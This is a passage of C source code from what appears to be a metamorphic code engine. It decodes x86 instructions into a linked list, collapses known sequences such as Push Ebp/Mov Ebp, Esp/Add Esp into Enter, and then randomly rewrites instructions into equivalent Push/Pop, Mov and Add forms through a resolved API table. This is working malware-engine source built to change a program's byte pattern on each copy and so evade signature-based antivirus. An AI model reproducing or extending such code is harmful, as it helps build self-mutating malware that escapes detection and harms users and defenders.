*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwMemoryOffset]) { bValidDisplacement=TRUE; } } } else { bValidDisplacement=TRUE; } if(bValidDisplacement) { // Mov [Effective Address (32)], (Constant32 - Delta) + Add [Effective Address (32)], Delta -> Mov [Effective Address (32)], Constant32 pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] += *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwDataOffset]; pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; } } } } if(pPreviousSynonymousX86InstructionAbstraction != NULL) { if(pPreviousSynonymousX86InstructionAbstraction->Opcode == 0x83) { if(pPreviousSynonymousX86InstructionAbstraction->Reg == 0x00 && pPreviousSynonymousX86InstructionAbstraction->Mod == 0xC0 && pPreviousSynonymousX86InstructionAbstraction->DestinationRegister == 4 && (CHAR)pPreviousSynonymousX86InstructionAbstraction->Data[pPreviousSynonymousX86InstructionAbstraction->dwDataOffset] == -4) { // Add Esp, -4 if(pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode == 0xC7) { if(pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Mod == 0x00 && pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Rm == 0x04 && pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Index == 4 && pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Scale == 1 && pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Base == 4) { // Add Esp, -4 + Mov Dword [Esp], Constant32 -> Push Constant32 pDiscardableLinks[0]=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; if(pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pDataRelocationAbstraction != NULL) { if(pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pDataRelocationAbstraction->pLocationSymbol == pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction) { pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pDataRelocationAbstraction->pLocationSymbol=pPreviousSynonymousX86InstructionAbstraction; pPreviousSynonymousX86InstructionAbstraction->pDataRelocationAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pDataRelocationAbstraction; } } pPreviousSynonymousX86InstructionAbstraction->dwInstructionLength=5; pPreviousSynonymousX86InstructionAbstraction->Opcode=pPreviousSynonymousX86InstructionAbstraction->Data[0]=0x68; *(PDWORD)&pPreviousSynonymousX86InstructionAbstraction->Data[1]=*(PDWORD)&pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Data[pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwDataOffset]; pPreviousSynonymousX86InstructionAbstraction->dwDataOffset=1; pPreviousSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32; pPreviousSynonymousX86InstructionAbstraction->dwExtendedFlags=0; pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction; } } } } } } } } // Walk instruction list and identify/shrink triple sequences of instructions. //printf("[*] Shrinking triple instruction sequences...\r\n"); for(pCurrentSynonymousX86InstructionAbstraction=pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction != NULL; pCurrentSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction) { // Push Ebp + Mov Ebp, Esp + Add Esp, -Constant8 -> Enter Constant16, 0(8) for(dwX=0; dwX < 2; dwX++) { if(pDiscardableLinks[dwX] != NULL) { pAPITable->GlobalFree(pDiscardableLinks[dwX]); pDiscardableLinks[dwX]=NULL; } } if(pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength != 0 && pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes == 0 && !(pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F)) { if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction != NULL && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwDataSize == 0 && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwNumberOfPrefixes == 0 && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagReferencedAddress) && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F)) { if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction != NULL && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwDataSize == 0 && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwNumberOfPrefixes == 0 && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagReferencedAddress) && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F)) { if(pCurrentSynonymousX86InstructionAbstraction->Opcode >= 0x50 && pCurrentSynonymousX86InstructionAbstraction->Opcode < 0x58) { // Push Reg(32) if(pCurrentSynonymousX86InstructionAbstraction->DestinationRegister == 5) // Ebp { if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->DBitOpcode == 0x88) { // Mov Reg1, Reg2 if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->WBit == 1 && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Mod == 0xC0) { if(!(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F) && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode == 0x83) { if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->DestinationRegister == 4 && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Reg == 0x00) // 000 - Add extended opcode { // Push Ebp + Mov Ebp, Esp + Add Esp, -Constant8 -> Enter Constant16, 0(8) pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pDiscardableLinks[1]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes=0; pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=1; pCurrentSynonymousX86InstructionAbstraction->Data[0]=pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=pCurrentSynonymousX86InstructionAbstraction->Opcode=0xC8; if((pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8)) { pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwNumberOfPrefixes + 2]; } else { *(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-*(PWORD)&pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwNumberOfPrefixes + 2]; } pCurrentSynonymousX86InstructionAbstraction->Data[3]=0; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData16|X86InstructionStandardFlagData8; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=0; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=4; pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; continue; } } } } } } } } } } } for(dwX=0; dwX < 2; dwX++) { if(pDiscardableLinks[dwX] != NULL) { pAPITable->GlobalFree(pDiscardableLinks[dwX]); pDiscardableLinks[dwX]=NULL; } } if(bExpandCode) { // Walk instruction list and mutate triple instructions for(pCurrentSynonymousX86InstructionAbstraction=pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction != NULL; pCurrentSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction) { // Enter Constant16, 0(8) -> Push Ebp + Mov Ebp, Esp + Add Esp, -Constant32 if((pAPITable->Rand() % 2) == 0) { continue; } if(pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength != 0 && pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes == 0 && !(pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F)) { CurrentDestinationRegister=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister; if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0xC8 && pCurrentSynonymousX86InstructionAbstraction->Data[3] == 0) { // Enter Constant16, 0(8) -> Push Ebp + Mov Ebp, Esp + Add Esp, -Constant32 // Push Ebp dwConstant=*(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[1]; pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[0]=0x55; pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=5; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=1; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=0; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode; pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; // Mov Ebp, Esp pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION)); pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->DBitOpcode=0x88; pNewSynonymousX86InstructionAbstraction->DBit=0; pNewSynonymousX86InstructionAbstraction->WBit=1; pNewSynonymousX86InstructionAbstraction->Opcode=pNewSynonymousX86InstructionAbstraction->Data[0]=0x89; pNewSynonymousX86InstructionAbstraction->ModRM=pNewSynonymousX86InstructionAbstraction->Data[1]=0xE5; pNewSynonymousX86InstructionAbstraction->SourceRegister=4; pNewSynonymousX86InstructionAbstraction->DestinationRegister=5; pNewSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit; pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit; pNewSynonymousX86InstructionAbstraction->Mod=0xC0; pNewSynonymousX86InstructionAbstraction->Reg=4; pNewSynonymousX86InstructionAbstraction->Rm=5; pNewSynonymousX86InstructionAbstraction->dwInstructionLength=2; pPreviousSynonymousX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; // Add Esp, -Constant32 pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION)); pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->DestinationRegister=4; pNewSynonymousX86InstructionAbstraction->DBitOpcode=pNewSynonymousX86InstructionAbstraction->WBitOpcode=0x80; pNewSynonymousX86InstructionAbstraction->WBit=1; pNewSynonymousX86InstructionAbstraction->Opcode=pNewSynonymousX86InstructionAbstraction->Data[0]=0x81; pNewSynonymousX86InstructionAbstraction->DBit=0; pNewSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit; pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagExtendedOpcode; pNewSynonymousX86InstructionAbstraction->Mod=0xC0; pNewSynonymousX86InstructionAbstraction->Reg=0; // 000 - Add extended opcode pNewSynonymousX86InstructionAbstraction->Rm=4; pNewSynonymousX86InstructionAbstraction->ModRM=pNewSynonymousX86InstructionAbstraction->Data[1]=(pNewSynonymousX86InstructionAbstraction->Mod|pNewSynonymousX86InstructionAbstraction->Rm); pNewSynonymousX86InstructionAbstraction->dwDataOffset=2; pNewSynonymousX86InstructionAbstraction->dwInstructionLength=6; *(PDWORD)&pNewSynonymousX86InstructionAbstraction->Data[2]=-dwConstant; pCurrentSynonymousX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; } } } // Walk instruction list and mutate double instructions for(pCurrentSynonymousX86InstructionAbstraction=pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction != NULL; pCurrentSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction) { // Leave -> Mov Esp, Ebp + Pop Ebp ------------------------------| // Push Constant32 -> Add Esp, -4 + Mov Dword [Esp], Constant32 -|----------------------------------------| // Mov Reg1(32), Reg2(32) -> Push Reg2(32) + Pop Reg1(32) <------| Leave -> Push Ebp + Pop Esp + Pop Ebp | // Mov Reg(32), [Effective Address (32)] -> Push [Effective Address (32)] + Pop Reg(32) | // Mov [Effective Address (32)], Reg(32) -> Push Reg(32) + Pop [Effective Address (32)] | // Mov Reg(32), Constant32 -> Mov Reg(32), (Constant32 - Delta) + Add Reg(32), Delta | // Mov Reg(32), Constant32 -> Push Constant32 + Pop Reg(32) | // Mov [Effective Address (32)], Constant32 -> Push Constant32 + Pop [Effective Address (32)] <-----------| Push Constant32 -> Add Esp, -4 + Push Constant32 + Pop Dword [Esp] // Mov [Effective Address (32)], Constant32 -> Mov [Effective Address (32)], (Constant32 - Delta) + Add [Effective Address (32)], Delta if((pAPITable->Rand() % 2) == 0) { continue; } if(pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength != 0 && pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes == 0 && !(pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F) && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction != NULL && (pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagConditionalBranch))) { if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0xC9) // Performing this mutation first allows for the possibility of additional mutations { // Leave -> Mov Esp, Ebp + Pop Ebp pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x88; pCurrentSynonymousX86InstructionAbstraction->DBit=0; pCurrentSynonymousX86InstructionAbstraction->WBit=1; pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[0]=0x89; pCurrentSynonymousX86InstructionAbstraction->ModRM=pCurrentSynonymousX86InstructionAbstraction->Data[1]=0xEC; pCurrentSynonymousX86InstructionAbstraction->SourceRegister=5; pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=4; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit; pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0; pCurrentSynonymousX86InstructionAbstraction->Reg=5; pCurrentSynonymousX86InstructionAbstraction->Rm=4; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=2; pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION)); pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->DestinationRegister=5; pNewSynonymousX86InstructionAbstraction->dwInstructionLength=1; pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode; pNewSynonymousX86InstructionAbstraction->Data[0]=pNewSynonymousX86InstructionAbstraction->Opcode=0x5D; if((pAPITable->Rand() % 2) == 0) { continue; } } else if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0x68) { // Push Constant32 -> Add Esp, -4 + Mov Dword [Esp], Constant32 dwConstant=*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[1]; pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=4; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=3; pCurrentSynonymousX86InstructionAbstraction->Data[0]=pCurrentSynonymousX86InstructionAbstraction->Opcode=0x83; pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x80; pCurrentSynonymousX86InstructionAbstraction->DBit=1; pCurrentSynonymousX86InstructionAbstraction->WBit=1; pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x82; pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0; pCurrentSynonymousX86InstructionAbstraction->Rm=0x04; pCurrentSynonymousX86InstructionAbstraction->ModRM=pCurrentSynonymousX86InstructionAbstraction->Data[1]=0xC4; pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=2; (CHAR)pCurrentSynonymousX86InstructionAbstraction->Data[2]=-4; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=(X86InstructionStandardFlagData8|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit); pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=(X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagExtendedOpcode); pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION)); pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction; if(pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction != NULL) { if(pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction->pLocationSymbol == pCurrentSynonymousX86InstructionAbstraction) { pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction->pLocationSymbol=pNewSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->pDataRelocationAbstraction=pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction; pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction=NULL; } } pNewSynonymousX86InstructionAbstraction->Opcode=pNewSynonymousX86InstructionAbstraction->Data[0]=0xC7; pNewSynonymousX86InstructionAbstraction->Mod=pNewSynonymousX86InstructionAbstraction->Reg=0x00; pNewSynonymousX86InstructionAbstraction->dwDataOffset=3; pNewSynonymousX86InstructionAbstraction->WBit=1; pNewSynonymousX86InstructionAbstraction->WBitOpcode=0xC6; *(PDWORD)&pNewSynonymousX86InstructionAbstraction->Data[pNewSynonymousX86InstructionAbstraction->dwDataOffset]=dwConstant; pNewSynonymousX86InstructionAbstraction->Data[1]=pNewSynonymousX86InstructionAbstraction->ModRM=pNewSynonymousX86InstructionAbstraction->Rm=0x04; pNewSynonymousX86InstructionAbstraction->dwStandardFlags=(X86InstructionStandardFlagSIB|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit|X86InstructionStandardFlagData32); pNewSynonymousX86InstructionAbstraction->Scale=1; pNewSynonymousX86InstructionAbstraction->Index=pNewSynonymousX86InstructionAbstraction->Base=4; pNewSynonymousX86InstructionAbstraction->Data[2]=pNewSynonymousX86InstructionAbstraction->SIB=0x24; pNewSynonymousX86InstructionAbstraction->dwInstructionLength=7; if((pAPITable->Rand() % 2) == 0) { continue; } } CurrentSourceRegister=pCurrentSynonymousX86InstructionAbstraction->SourceRegister; CurrentDestinationRegister=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister; if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x88) { if(pCurrentSynonymousX86InstructionAbstraction->WBit == 1) { if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0) { // Mov Reg1(32), Reg2(32) -> Push Reg2(32) + Pop Reg1(32) pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=CurrentSourceRegister; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=1; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=0; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode=(0x50 + CurrentSourceRegister); pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION)); pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister; pNewSynonymousX86InstructionAbstraction->dwInstructionLength=1; pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode; pNewSynonymousX86InstructionAbstraction->Data[0]=pNewSynonymousX86InstructionAbstraction->Opcode=(0x58 + CurrentDestinationRegister); pCurrentSynonymousX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; continue; } else { if(pCurrentSynonymousX86InstructionAbstraction->DBit == 1) { // Mov Reg(32), [Effective Address (32)] -> Push [Effective Address (32)] + Pop Reg(32) pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=CurrentSourceRegister; pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit; pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagExtendedOpcode|X86InstructionExtendedFlag32BitSingleModRM; pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode=0xFF; pCurrentSynonymousX86InstructionAbstraction->ModRM &= 0xC7; // 11000111 pCurrentSynonymousX86InstructionAbstraction->ModRM |= 0x30; // 00110000 - Push extended opcode pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM; pCurrentSynonymousX86InstructionAbstraction->Reg=0x06; // 110 pPreviousSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION)); pNewSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction; pPreviousSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pPreviousSynonymousX86InstructionAbstraction; pNewSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister; pNewSynonymousX86InstructionAbstraction->dwInstructionLength=1; pNewSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode; pNewSynonymousX86InstructionAbstraction->Data[0]=pNewSynonymousX86InstructionAbstraction->Opcode=(0x58 + CurrentDestinationRegister); pCurrentSynonymousX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction; continue; } else if(pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction == NULL) { // Mov [Effective Address (32)], Reg(32) -> Push Reg(32) + Pop [Effective Address (32)] pNewSynonymousX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION)); RelocateMemory(pNewSynonymousX86InstructionAbstraction, pCurrentSynonymousX86InstructionAbstraction, sizeof(X86_INSTRUCTION_ABSTRACTION)); if(pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction != NULL) { if(pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction->pLocationSymbol == pCurrentSynonymousX86InstructionAbstraction) { pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction->pLocationSymbol=pNewSynonymousX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction->pMemoryRelocationAbstraction=NULL; } } pCurrentSynonymousX86InstructionAbstraction->dwMemoryOffset=0; pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=CurrentSourceRegister; pCurrentSynonymousX86InstructionAbstraction->Reg=CurrentSourceRegister; pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=1; pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes=0; 